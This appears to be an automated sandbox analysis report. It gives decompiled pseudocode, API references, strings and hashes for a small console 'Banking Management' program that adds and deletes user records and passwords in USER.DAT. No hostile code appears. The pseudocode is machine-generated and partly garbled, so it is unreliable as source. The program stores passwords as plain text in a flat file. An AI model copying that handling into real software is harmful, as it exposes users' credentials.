						_t132 = _t128 + 0x18;
						 *0xee2f20 = _t62;
						while(1) {
							_push( &_v129);
							_push( &_v139);
							_push( &_v154);
							_t96 =  *0xee2f28; // 0x0
							_t65 = E00EC7021(_t96, "%s %s %s %s",  &_v188);
							_t133 = _t132 + 0x18;
							__eflags = _t65 - 0xffffffff;
							if(__eflags == 0) {
								break;
							}
							E00ED7CF2( &_v188);
							E00ED7CF2( &_v20);
							_t75 = E00EC8230( &_v188,  &_v20);
							_t132 = _t133 + 0x10;
							__eflags = _t75;
							if(__eflags != 0) {
								_push( &_v129);
								_push( &_v139);
								_push( &_v154);
								_push( &_v188);
								_push("%s %s %s %s\n");
								_t99 =  *0xee2f20; // 0x0
								_push(_t99);
								E00EC6F06(_t89, _t116, _t117, __eflags);
								_t132 = _t132 + 0x18;
							}
						}
						_t109 =  *0xee2f28; // 0x0
						_push(_t109);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						_t67 =  *0xee2f20; // 0x0
						_push(_t67);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						E00EC20E0(_t96, _t116, _t117, __eflags, _t146);
						E00EC12B0(0x19, 0xa);
						_push("Record DELETED successfully!");
						return E00EC715C(_t89, _t116, _t117, __eflags);
					}
					__eflags = _v5 - 0x79;
					if(_v5 != 0x79) {
						return _t54;
					}
					goto L10;
				}
				E00EC12B0(0xa, 0xa);
				_push(0xedf4fc);
				return E00EC715C(_t89, _t116, _t117, __eflags);
			}

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC2841
_wscanf.LIBCMT ref: 00EC2853

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC2869

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC28AA

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_wprintf.LIBCMT ref: 00EC2914
_wprintf.LIBCMT ref: 00EC292F
_swscanf.LIBCMT ref: 00EC2994
_fprintf.LIBCMT ref: 00EC29E3
_swscanf.LIBCMT ref: 00EC2A5E
_fprintf.LIBCMT ref: 00EC2AC2
_wprintf.LIBCMT ref: 00EC2AFF

Strings

Password : , xrefs: 00EC2864
Record DELETED successfully!, xrefs: 00EC2AFA
LOG.DAT, xrefs: 00EC2A10
USER.DAT, xrefs: 00EC2952
User Name : , xrefs: 00EC283C
Are you sure you want to DELETE this user? <Y/N> : , xrefs: 00EC292A
%s %s %s %s, xrefs: 00EC2AB6
%s %s %s, xrefs: 00EC29D8
temp.dat, xrefs: 00EC2969
%s %s %s %s, xrefs: 00EC2A52
USER.DAT, xrefs: 00EC287F
%s %s %s, xrefs: 00EC2988
%s %s %s, xrefs: 00EC289E
temp.dat, xrefs: 00EC2A27

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$_swscanf$__wstrtime_fprintf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_vfscanf_vwscanf_wscanf
String ID: %s %s %s$%s %s %s$%s %s %s$%s %s %s %s$%s %s %s %s$Are you sure you want to DELETE this user? <Y/N> : $LOG.DAT$Password : $Record DELETED successfully!$USER.DAT$USER.DAT$User Name : $temp.dat$temp.dat
API String ID: 3163849712-4002591224
Opcode ID: f0e9f5857048f7c21c6ab7e4386aa2fa3af34e862a5b80b6b9b8591f5fd7851b
Instruction ID: f7dd8361c588936db642563d7dd164316709e21f891a1a62217c6737d8468ce1
Opcode Fuzzy Hash: f0e9f5857048f7c21c6ab7e4386aa2fa3af34e862a5b80b6b9b8591f5fd7851b
Instruction Fuzzy Hash: 8471CDB3E003485ED715EFE49D43FAE72B8AB55700F04212EF615B5391FA72960ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EC25C0, Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 155
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00EC25C0(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				char _v12;
				char _v15;
				char _v19;
				char _v23;
				char _v27;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v44;
				char _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v67;
				char _v71;
				char _v75;
				char _v76;
				char _v108;
				char _v140;
				void* __ebp;
				intOrPtr _t42;
				void* _t44;
				intOrPtr _t53;
				intOrPtr _t58;
				intOrPtr _t67;
				void* _t70;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t76;
				intOrPtr _t79;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t103;

				_t103 = __fp0;
				_t84 = __esi;
				_t83 = __edi;
				_t73 = __ebx;
				_v8 = 0;
				_v12 = 0;
				_v76 = 0;
				_v75 = 0;
				_v71 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v44 = 0;
				_t74 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v27 = 0;
				_v23 = 0;
				_v19 = 0;
				_v15 = 0;
				do {
					E00EC20E0(_t74, _t83, _t84, 0, _t103);
					_v8 = 0;
					E00EC12B0(0x19, 8);
					_push("User Name        : ");
					E00EC715C(_t73, _t83, _t84, 0);
					E00EC738B("%s", 0xee2ee4);
					_t42 = E00EC6EF1("USER.DAT", "r");
					_t88 = _t85 + 0x14;
					 *0xee2f28 = _t42;
					_v12 = 0;
					while(1) {
						_push( &_v140);
						_push( &_v108);
						_t75 =  *0xee2f28; // 0x0
						_t44 = E00EC7021(_t75, "%s %s %s\n", 0xee2ee0);
						_t89 = _t88 + 0x14;
						if(_t44 == 0xffffffff) {
							goto L6;
						}
						_t70 = E00EC8230( &_v108, 0xee2ee4);
						_t88 = _t89 + 8;
						if(_t70 == 0) {
							_v12 = _v12 + 1;
						}
					}
					L6:
					_t74 =  *0xee2f28; // 0x0
					_push(_t74);
					E00EC6DB6(_t73, _t83, _t84, __eflags);
					_t90 = _t89 + 4;
					__eflags = _v12;
					if(__eflags == 0) {
						E00EC12B0(0x19, 0xa);
						_push("Password         : ");
						E00EC715C(_t73, _t83, _t84, __eflags);
						E00EC12F0(_t83, _t84,  &_v76);
						E00EC12B0(0x19, 0xc);
						_push("Confirm Password : ");
						E00EC715C(_t73, _t83, _t84, __eflags);
						_t74 =  &_v44;
						E00EC12F0(_t83, _t84,  &_v44);
						_t53 = E00EC8230(0xee2f02,  &_v44);
						_t85 = _t90 + 0x10;
						__eflags = _t53;
						if(__eflags != 0) {
							E00EC20E0( &_v44, _t83, _t84, __eflags, _t103);
							E00EC12B0(0xa, 0xa);
							_push(0xedf444);
							E00EC715C(_t73, _t83, _t84, __eflags);
							_t85 = _t85 + 4;
							_t67 = _v8 + 1;
							__eflags = _t67;
							_v8 = _t67;
						}
					} else {
						E00EC12B0(0xa, 0xa);
						_push(0xedf3e0);
						E00EC715C(_t73, _t83, _t84, __eflags);
						_t85 = _t90 + 4;
						_v8 = _v8 + 1;
					}
					__eflags = _v8;
				} while (__eflags != 0);
				 *0xee2f28 = E00EC6EF1("USER.DAT", 0xedf474);
				_t76 =  *0xee2f28; // 0x0
				_push(_t76);
				E00EC6DB6(_t73, _t83, _t84, __eflags);
				 *0xee2f28 = E00EC6EF1("USER.DAT", "a");
				_push(0xee2f02);
				_push(0xee2ee4);
				_push(0xee2ee0);
				_push("%s %s %s\n");
				_t79 =  *0xee2f28; // 0x0
				_push(_t79);
				E00EC6F06(_t73, _t83, _t84, __eflags);
				_t58 =  *0xee2f28; // 0x0
				_push(_t58);
				E00EC6DB6(_t73, _t83, _t84, __eflags);
				E00EC20E0(_t76, _t83, _t84, __eflags, _t103);
				E00EC12B0(0x19, 0xa);
				_push("Record ADDED successfully!");
				return E00EC715C(_t73, _t83, _t84, __eflags);
			}

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC262D
_wscanf.LIBCMT ref: 00EC263F

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC2681

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_wprintf.LIBCMT ref: 00EC26D1
_wprintf.LIBCMT ref: 00EC26F2
_wprintf.LIBCMT ref: 00EC2711
_wprintf.LIBCMT ref: 00EC274A
_fprintf.LIBCMT ref: 00EC27BD
_wprintf.LIBCMT ref: 00EC27E6

Strings

%s %s %s, xrefs: 00EC2675
Record ADDED successfully!, xrefs: 00EC27E1
Password : , xrefs: 00EC26ED
USER.DAT, xrefs: 00EC2790
USER.DAT, xrefs: 00EC276A
%s %s %s, xrefs: 00EC27B1
Confirm Password : , xrefs: 00EC270C
USER.DAT, xrefs: 00EC264C
User Name : , xrefs: 00EC2628

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime$ConsoleCursorHandlePosition__fsopen_fprintf_swscanf_vfscanf_vwscanf_wscanf
String ID: %s %s %s$%s %s %s$Confirm Password : $Password : $Record ADDED successfully!$USER.DAT$USER.DAT$USER.DAT$User Name :
API String ID: 3917209068-3252730458
Opcode ID: 0ec059a1e1cc4c778672c75c8ebf58cff07cdb88a8c07e10f3bd6965b427e9f9
Instruction ID: 0404ab3aaa4a2d178deabed5ae56f03cc8fca397d64acae482a7d97b8f4c7d3a
Opcode Fuzzy Hash: 0ec059a1e1cc4c778672c75c8ebf58cff07cdb88a8c07e10f3bd6965b427e9f9
Instruction Fuzzy Hash: B45194B1E50348ABDB04EFE4DE43F9E76B49B15704F04603EF505B6381EAB29246C766

Uniqueness

Uniqueness Score: -1.00%

Function 00EC20E0, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00EC20E0(void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _v8;
				void* __ebp;
				void* _t9;
				intOrPtr _t16;
				void* _t20;
				void* _t24;
				void* _t26;
				void* _t27;
				void* _t31;
				void* _t37;

				_t37 = __fp0;
				_t23 = __esi;
				_t22 = __edi;
				E00EC1380(__edi, __esi, __eflags, 0, 0, 0x50, 0x17);
				E00EC12B0(0x19, 1);
				_push("Banking Management //");
				E00EC715C(_t20, __edi, __esi, __eflags);
				E00EC12B0(5, 3);
				_t9 = E00EC8230(0xee2ee4, "Admin");
				_t26 = _t24 + 0xc;
				if(_t9 == 0) {
					 *0xee2240 = 1;
				}
				_t34 =  *0xee2240;
				if( *0xee2240 == 0) {
					_push(0xee2ee4);
					_push("Current User : %s");
					E00EC715C(_t20, _t22, _t23, __eflags);
					_t27 = _t26 + 8;
				} else {
					_push("Current User : Admin");
					E00EC715C(_t20, _t22, _t23, _t34);
					_t27 = _t26 + 4;
				}
				_push("\t\t\t\tDate : ");
				E00EC715C(_t20, _t22, _t23, _t34);
				E00EC834B(_t34, 0xee2f40);
				_push(0xee2f40);
				E00EC16A0(_t22, _t23, _t37);
				_push("h@/�");
				_push("%s");
				E00EC715C(_t20, _t22, _t23, _t34);
				E00EC834B(_t34, 0xee2f40);
				_t31 = _t27 + 0x14;
				_t16 = E00EC12B0(1, 5);
				_v8 = 0;
				while(1) {
					_t35 = _v8 - 0x4e;
					if(_v8 >= 0x4e) {
						break;
					}
					_push(0xc4);
					_push("%c");
					E00EC715C(_t20, _t22, _t23, _t35);
					_t31 = _t31 + 8;
					_t16 = _v8 + 1;
					_v8 = _t16;
				}
				return _t16;
			}

APIs

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC20FF
_wprintf.LIBCMT ref: 00EC213E
_wprintf.LIBCMT ref: 00EC2152

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC215F
__wstrtime.LIBCMT ref: 00EC216C
_wprintf.LIBCMT ref: 00EC2188
__wstrtime.LIBCMT ref: 00EC2195
_wprintf.LIBCMT ref: 00EC21C8

Strings

Admin, xrefs: 00EC2110
Current User : %s, xrefs: 00EC214D
Date : , xrefs: 00EC215A
Current User : Admin, xrefs: 00EC2139
N, xrefs: 00EC21B8
Banking Management //, xrefs: 00EC20FA
h@/, xrefs: 00EC217E

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf
String ID: Date : $Admin$Banking Management //$Current User : %s$Current User : Admin$N$h@/
API String ID: 3817360410-3581706481
Opcode ID: 2cf4970f37cd93720ef03e64a19cf331e167aa140a44f73fa06d2d8a24f9a09b
Instruction ID: 363ad62e53a0505073357832837e2644c61111f395731f04908a9faf09ede411
Opcode Fuzzy Hash: 2cf4970f37cd93720ef03e64a19cf331e167aa140a44f73fa06d2d8a24f9a09b
Instruction Fuzzy Hash: 6E11C1B0FE5388BAE2187FD25F03F4930A84B11B05F08306DFB05382D2E9E36A5A5567

Uniqueness

Uniqueness Score: -1.00%

Function 00EC21E0, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00EC21E0(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* __ebp;
				void* _t28;
				intOrPtr _t31;
				void* _t34;
				void* _t35;
				void* _t36;

				_t33 = __esi;
				_t32 = __edi;
				E00EC1380(__edi, __esi, __eflags, 0, 0, 0x50, 0x17);
				E00EC12B0(0x1b, 4);
				_push("BANK MANAGEMENT //");
				E00EC715C(_t28, __edi, __esi, __eflags);
				_t35 = _t34 + 4;
				E00EC12B0(0x19, 5);
				_v8 = 0;
				while(1) {
					_t42 = _v8 - 0x1b;
					if(_v8 >= 0x1b) {
						break;
					}
					_push(0xc4);
					_push("%c");
					E00EC715C(_t28, _t32, _t33, _t42);
					_t35 = _t35 + 8;
					_v8 = _v8 + 1;
				}
				E00EC12B0(0x19, 8);
				_push("Designed and Programmed by:");
				E00EC715C(_t28, _t32, _t33, __eflags);
				_t36 = _t35 + 4;
				E00EC12B0(0x19, 9);
				_v8 = 0;
				while(1) {
					__eflags = _v8 - 0x1b;
					if(__eflags >= 0) {
						break;
					}
					_push(0xc4);
					_push("%c");
					E00EC715C(_t28, _t32, _t33, __eflags);
					_t36 = _t36 + 8;
					_t31 = _v8 + 1;
					__eflags = _t31;
					_v8 = _t31;
				}
				E00EC12B0(0x21, 0xb);
				_push("Ravi Agrawal");
				E00EC715C(_t28, _t32, _t33, __eflags);
				E00EC12B0(0x21, 0xd);
				_push("Sagar Sharma");
				E00EC715C(_t28, _t32, _t33, __eflags);
				E00EC12B0(0x21, 0xf);
				_push("Sawal Maskey");
				E00EC715C(_t28, _t32, _t33, __eflags);
				E00EC12B0(0x18, 0x14);
				_push("Press Any key to continue...");
				return E00EC715C(_t28, _t32, _t33, __eflags);
			}

APIs

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC21FF
_wprintf.LIBCMT ref: 00EC2232

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC224A
_wprintf.LIBCMT ref: 00EC227D
_wprintf.LIBCMT ref: 00EC2295
_wprintf.LIBCMT ref: 00EC22AB
_wprintf.LIBCMT ref: 00EC22C1
_wprintf.LIBCMT ref: 00EC22D7

Strings

Designed and Programmed by:, xrefs: 00EC2245
Sawal Maskey, xrefs: 00EC22BC
Press Any key to continue..., xrefs: 00EC22D2
Sagar Sharma, xrefs: 00EC22A6
BANK MANAGEMENT //, xrefs: 00EC21FA
Ravi Agrawal, xrefs: 00EC2290

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf
String ID: BANK MANAGEMENT //$Designed and Programmed by:$Press Any key to continue...$Ravi Agrawal$Sagar Sharma$Sawal Maskey
API String ID: 1778593935-2888666035
Opcode ID: 9c45cc3a3eda1cb842a3b51e12b8aba2a6a76a8ddb6ce710e3a8a83e776a6671
Instruction ID: 7f4768312d5f814cfd9b3361c6c5d2db080ce7f953e810a275d674caa14cea79
Opcode Fuzzy Hash: 9c45cc3a3eda1cb842a3b51e12b8aba2a6a76a8ddb6ce710e3a8a83e776a6671
Instruction Fuzzy Hash: C121AE70AA5304B6F618BBD05E03F8C71A45B12B04F04216EF746393D3E8F3660625AB

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA5E2, Relevance: 16.7, APIs: 11, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00ECA5E2(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t81;
				void* _t86;
				long _t90;
				signed int _t94;
				signed int _t98;
				signed int _t99;
				signed char _t103;
				signed int _t105;
				intOrPtr _t106;
				intOrPtr* _t109;
				signed char _t111;
				long _t119;
				signed int _t130;
				signed int _t134;
				signed int _t135;
				signed int _t138;
				void** _t139;
				signed int _t141;
				void* _t142;
				signed int _t143;
				void** _t147;
				signed int _t149;
				void* _t150;
				signed int _t154;
				void* _t155;
				void* _t160;

				_push(0x64);
				_push(0xedd8c0);
				E00EC9160(__ebx, __edi, __esi);
				E00ECBE5F(0xb);
				_t130 = 0;
				 *(_t155 - 4) = 0;
				_t160 =  *0xee2f60 - _t130; // 0x0
				if(_t160 == 0) {
					_push(0x40);
					_t141 = 0x20;
					_push(_t141);
					_t81 = E00ECC55B();
					_t134 = _t81;
					 *(_t155 - 0x24) = _t134;
					__eflags = _t134;
					if(_t134 != 0) {
						 *0xee2f60 = _t81;
						 *0xee2f5c = _t141;
						while(1) {
							__eflags = _t134 - _t81 + 0x800;
							if(_t134 >= _t81 + 0x800) {
								break;
							}
							 *((short*)(_t134 + 4)) = 0xa00;
							 *_t134 =  *_t134 | 0xffffffff;
							 *(_t134 + 8) = _t130;
							 *(_t134 + 0x24) =  *(_t134 + 0x24) & 0x00000080;
							 *(_t134 + 0x24) =  *(_t134 + 0x24) & 0x0000007f;
							 *((short*)(_t134 + 0x25)) = 0xa0a;
							 *(_t134 + 0x38) = _t130;
							 *(_t134 + 0x34) = _t130;
							_t134 = _t134 + 0x40;
							 *(_t155 - 0x24) = _t134;
							_t81 =  *0xee2f60; // 0x0
						}
						GetStartupInfoW(_t155 - 0x74);
						__eflags =  *((short*)(_t155 - 0x42));
						if( *((short*)(_t155 - 0x42)) == 0) {
							while(1) {
								L31:
								 *(_t155 - 0x2c) = _t130;
								__eflags = _t130 - 3;
								if(_t130 >= 3) {
									break;
								}
								_t147 = (_t130 << 6) +  *0xee2f60;
								 *(_t155 - 0x24) = _t147;
								__eflags =  *_t147 - 0xffffffff;
								if( *_t147 == 0xffffffff) {
									L35:
									_t147[1] = 0x81;
									__eflags = _t130;
									if(_t130 != 0) {
										_t66 = _t130 - 1; // -1
										asm("sbb eax, eax");
										_t90 =  ~_t66 + 0xfffffff5;
										__eflags = _t90;
									} else {
										_t90 = 0xfffffff6;
									}
									_t142 = GetStdHandle(_t90);
									__eflags = _t142 - 0xffffffff;
									if(_t142 == 0xffffffff) {
										L47:
										_t147[1] = _t147[1] | 0x00000040;
										 *_t147 = 0xfffffffe;
										_t94 =  *0xee3064;
										__eflags = _t94;
										if(_t94 != 0) {
											 *( *((intOrPtr*)(_t94 + _t130 * 4)) + 0x10) = 0xfffffffe;
										}
										goto L49;
									} else {
										__eflags = _t142;
										if(_t142 == 0) {
											goto L47;
										}
										_t98 = GetFileType(_t142);
										__eflags = _t98;
										if(_t98 == 0) {
											goto L47;
										}
										 *_t147 = _t142;
										_t99 = _t98 & 0x000000ff;
										__eflags = _t99 - 2;
										if(_t99 != 2) {
											__eflags = _t99 - 3;
											if(_t99 != 3) {
												L46:
												_t70 =  &(_t147[3]); // -15609684
												InitializeCriticalSectionAndSpinCount(_t70, 0xfa0);
												_t147[2] = _t147[2] + 1;
												L49:
												_t130 = _t130 + 1;
												continue;
											}
											_t103 = _t147[1] | 0x00000008;
											__eflags = _t103;
											L45:
											_t147[1] = _t103;
											goto L46;
										}
										_t103 = _t147[1] | 0x00000040;
										goto L45;
									}
								}
								__eflags =  *_t147 - 0xfffffffe;
								if( *_t147 == 0xfffffffe) {
									goto L35;
								}
								_t147[1] = _t147[1] | 0x00000080;
								goto L49;
							}
							 *(_t155 - 4) = 0xfffffffe;
							E00ECA8A6();
							L2:
							_t86 = 1;
							L3:
							return E00EC91A5(_t86);
						}
						_t105 =  *(_t155 - 0x40);
						__eflags = _t105;
						if(_t105 == 0) {
							goto L31;
						}
						_t135 =  *_t105;
						 *(_t155 - 0x1c) = _t135;
						_t106 = _t105 + 4;
						 *((intOrPtr*)(_t155 - 0x28)) = _t106;
						 *(_t155 - 0x20) = _t106 + _t135;
						__eflags = _t135 - 0x800;
						if(_t135 >= 0x800) {
							_t135 = 0x800;
							 *(_t155 - 0x1c) = 0x800;
						}
						_t149 = 1;
						__eflags = 1;
						 *(_t155 - 0x30) = 1;
						while(1) {
							__eflags =  *0xee2f5c - _t135; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t138 = E00ECC55B(_t141, 0x40);
							 *(_t155 - 0x24) = _t138;
							__eflags = _t138;
							if(_t138 != 0) {
								0xee2f60[_t149] = _t138;
								 *0xee2f5c =  *0xee2f5c + _t141;
								__eflags =  *0xee2f5c;
								while(1) {
									__eflags = _t138 - 0xee2f60[_t149] + 0x800;
									if(_t138 >= 0xee2f60[_t149] + 0x800) {
										break;
									}
									 *((short*)(_t138 + 4)) = 0xa00;
									 *_t138 =  *_t138 | 0xffffffff;
									 *(_t138 + 8) = _t130;
									 *(_t138 + 0x24) =  *(_t138 + 0x24) & 0x00000080;
									 *((short*)(_t138 + 0x25)) = 0xa0a;
									 *(_t138 + 0x38) = _t130;
									 *(_t138 + 0x34) = _t130;
									_t138 = _t138 + 0x40;
									 *(_t155 - 0x24) = _t138;
								}
								_t149 = _t149 + 1;
								 *(_t155 - 0x30) = _t149;
								_t135 =  *(_t155 - 0x1c);
								continue;
							}
							_t135 =  *0xee2f5c; // 0x0
							 *(_t155 - 0x1c) = _t135;
							break;
						}
						_t143 = _t130;
						 *(_t155 - 0x2c) = _t143;
						_t109 =  *((intOrPtr*)(_t155 - 0x28));
						_t139 =  *(_t155 - 0x20);
						while(1) {
							__eflags = _t143 - _t135;
							if(_t143 >= _t135) {
								goto L31;
							}
							_t150 =  *_t139;
							__eflags = _t150 - 0xffffffff;
							if(_t150 == 0xffffffff) {
								L26:
								_t143 = _t143 + 1;
								 *(_t155 - 0x2c) = _t143;
								_t109 =  *((intOrPtr*)(_t155 - 0x28)) + 1;
								 *((intOrPtr*)(_t155 - 0x28)) = _t109;
								_t139 =  &(_t139[1]);
								 *(_t155 - 0x20) = _t139;
								continue;
							}
							__eflags = _t150 - 0xfffffffe;
							if(_t150 == 0xfffffffe) {
								goto L26;
							}
							_t111 =  *_t109;
							__eflags = _t111 & 0x00000001;
							if((_t111 & 0x00000001) == 0) {
								goto L26;
							}
							__eflags = _t111 & 0x00000008;
							if((_t111 & 0x00000008) != 0) {
								L24:
								_t154 = ((_t143 & 0x0000001f) << 6) + 0xee2f60[_t143 >> 5];
								 *(_t155 - 0x24) = _t154;
								 *_t154 =  *_t139;
								 *((char*)(_t154 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t155 - 0x28))));
								_t38 = _t154 + 0xc; // 0xd
								InitializeCriticalSectionAndSpinCount(_t38, 0xfa0);
								_t39 = _t154 + 8;
								 *_t39 =  *(_t154 + 8) + 1;
								__eflags =  *_t39;
								_t139 =  *(_t155 - 0x20);
								L25:
								_t135 =  *(_t155 - 0x1c);
								goto L26;
							}
							_t119 = GetFileType(_t150);
							_t139 =  *(_t155 - 0x20);
							__eflags = _t119;
							if(_t119 == 0) {
								goto L25;
							}
							goto L24;
						}
						goto L31;
					}
					E00EC96F0(_t155, 0xee1380, _t155 - 0x10, 0xfffffffe);
					_t86 = 0;
					goto L3;
				}
				E00EC96F0(_t155, 0xee1380, _t155 - 0x10, 0xfffffffe);
				goto L2;
			}

APIs

__lock.LIBCMT ref: 00ECA5F0

Part of subcall function 00ECBE5F: __mtinitlocknum.LIBCMT ref: 00ECBE71
